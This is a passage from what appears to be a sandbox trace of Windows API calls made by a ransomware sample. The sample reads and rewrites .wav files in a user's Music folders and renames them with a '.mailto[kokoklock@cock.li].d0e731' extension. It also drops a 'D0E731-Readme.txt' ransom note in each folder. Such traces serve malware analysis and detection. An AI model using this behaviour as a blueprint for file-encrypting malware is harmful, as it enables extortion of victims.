RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x58895121 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x654ce4da [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xb8c96e22 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xd3f1d3b1 [0072.128] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.128] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1483fd48, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1483fd48*=0x4096, lpOverlapped=0x0) returned 1 [0072.128] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0072.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.129] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1483fd48, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1483fd48*=0x4096, lpOverlapped=0x0) returned 1 [0072.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.130] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x18bde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1483fd80, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1483fd80*=0x20, lpOverlapped=0x0) returned 1 [0072.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x341e7a8*, lpNumberOfBytesWritten=0x1483fd94*=0x8, lpOverlapped=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x1483fdac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x1483fdac*, lpNumberOfBytesWritten=0x1483fd94*=0x4, lpOverlapped=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1483fd94*=0x4, lpOverlapped=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1483fd94*=0x6c, lpOverlapped=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x341e780*, lpNumberOfBytesWritten=0x1483fd94*=0x20, lpOverlapped=0x0) returned 1 [0072.130] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1483fd94*=0x4, lpOverlapped=0x0) returned 1 [0072.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0072.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.130] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7a8) returned 1 [0072.130] CloseHandle (hObject=0x3c8) returned 1 [0072.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x33e3538 [0072.131] wcscpy (in: _Dest=0x33e3538, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" [0072.131] wcscat (in: _Dest=0x33e3538, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" [0072.131] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.131] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.131] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0072.131] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav", dwFileAttributes=0x20) returned 0 [0072.131] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427000 [0072.132] wcscpy (in: _Dest=0x3427000, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0072.132] wcscat (in: _Dest=0x3427000, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0072.132] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0072.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0072.132] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e260) returned 1 [0072.132] RtlExitUserThread (Status=0x1) Thread: id = 502 os_tid = 0x139c [0072.133] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav")) returned 0x20 [0072.133] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav", dwFileAttributes=0x20) returned 1 [0072.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.134] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x148bfd4c | out: lpFileSize=0x148bfd4c*=10629) returned 1 [0072.134] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x2981, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.134] ReadFile (in: hFile=0x3c8, lpBuffer=0x148bfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x148bfd20*, lpNumberOfBytesRead=0x148bfd1c*=0x4, lpOverlapped=0x0) returned 1 [0072.134] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0072.134] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e708 [0072.134] NtQuerySystemTime (in: CurrentTime=0x148bfcf8 | out: CurrentTime=0x148bfcf8*=132121176300254470) returned 0x0 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x7ef949e6 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x335a6105 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x967cd712 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x54b8cbca [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xe66d7d02 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x50d28fce [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xc7072fd0 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x32258058 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xceaf0a63 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x7b8ab48e [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xf3a8b9b0 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x50c937a0 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xc2ac91b0 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x2588d238 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x1f13dfc [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xbc9001c5 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x801ca659 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xa41878bc [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xc204ed14 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x3a4876e7 [0072.134] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xabc1b722 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x5220902d [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x54b74881 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x7faa5959 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xfaf0f7a4 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x5f57c953 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xa68ffc67 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x48b53bae [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x996902cb [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x3ae5fe5b [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0x185e7b17 [0072.135] RtlRandom (in: Seed=0x148bfd04 | out: Seed=0x148bfd04) returned 0xacb92080 [0072.180] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2985, lpNumberOfBytesRead=0x148bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x148bfcf8*=0x2985, lpOverlapped=0x0) returned 1 [0072.181] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x148bfcc0 | out: lpNewFilePointer=0x0) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x2985, lpNumberOfBytesWritten=0x148bfcf4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x148bfcf4*=0x2985, lpOverlapped=0x0) returned 1 [0072.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x148bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x148bfcf0*=0x20, lpOverlapped=0x0) returned 1 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x341e7a8*, lpNumberOfBytesWritten=0x148bfd1c*=0x8, lpOverlapped=0x0) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x148bfd34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x148bfd34*, lpNumberOfBytesWritten=0x148bfd1c*=0x4, lpOverlapped=0x0) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x148bfd1c*=0x4, lpOverlapped=0x0) returned 1 [0072.181] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x148bfd1c*=0x6c, lpOverlapped=0x0) returned 1 [0072.182] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x341e780*, lpNumberOfBytesWritten=0x148bfd1c*=0x20, lpOverlapped=0x0) returned 1 [0072.182] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x148bfd1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x148bfd1c*=0x4, lpOverlapped=0x0) returned 1 [0072.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0072.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7a8) returned 1 [0072.182] CloseHandle (hObject=0x3c8) returned 1 [0072.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x33e3538 [0072.182] wcscpy (in: _Dest=0x33e3538, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" [0072.182] wcscat (in: _Dest=0x33e3538, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" [0072.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\0_xoaevdn0.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0072.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav", dwFileAttributes=0x20) returned 0 [0072.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33ccff0 [0072.183] wcscpy (in: _Dest=0x33ccff0, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0072.183] wcscat (in: _Dest=0x33ccff0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0072.183] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0xffffffff [0072.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.185] WriteFile (in: hFile=0x3c8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x148bfd18, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x148bfd18*=0x481, lpOverlapped=0x0) returned 1 [0072.186] CloseHandle (hObject=0x3c8) returned 1 [0072.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccff0) returned 1 [0072.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0072.186] RtlExitUserThread (Status=0x1) Thread: id = 503 os_tid = 0x13a0 [0072.188] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav")) returned 0x20 [0072.188] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav", dwFileAttributes=0x20) returned 1 [0072.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.189] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x1493fd1c | out: lpFileSize=0x1493fd1c*=63301) returned 1 [0072.189] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0xf741, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.189] ReadFile (in: hFile=0x3c8, lpBuffer=0x1493fcf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x1493fcf0*, lpNumberOfBytesRead=0x1493fcec*=0x4, lpOverlapped=0x0) returned 1 [0072.189] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0072.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7a8 [0072.189] NtQuerySystemTime (in: CurrentTime=0x1493fcc8 | out: CurrentTime=0x1493fcc8*=132121176300879142) returned 0x0 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x38c68e87 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x2ceaf6bc [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xabfcbeca [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xdd0abd1 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x9b9765ae [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xbcf77805 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x1fb0aef5 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x665671be [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x6bc51f23 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x8b67a402 [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xa523e49b [0072.189] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xda2c7c6 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x3b6b9a44 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x40db6075 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x4f552016 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xaf96a9d4 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xc078bbb8 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x1d7fd49b [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xac58f22a [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x84713401 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xd167342a [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x669a7172 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x4a068513 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x7d5695b9 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x2263e83e [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x2abc7628 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xdf0480b6 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xdc9769e1 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x2272013e [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0x3556f043 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xd1d62166 [0072.190] RtlRandom (in: Seed=0x1493fcd4 | out: Seed=0x1493fcd4) returned 0xb11df250 [0072.201] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.201] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1493fca0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1493fca0*=0x4096, lpOverlapped=0x0) returned 1 [0072.201] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0072.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.202] 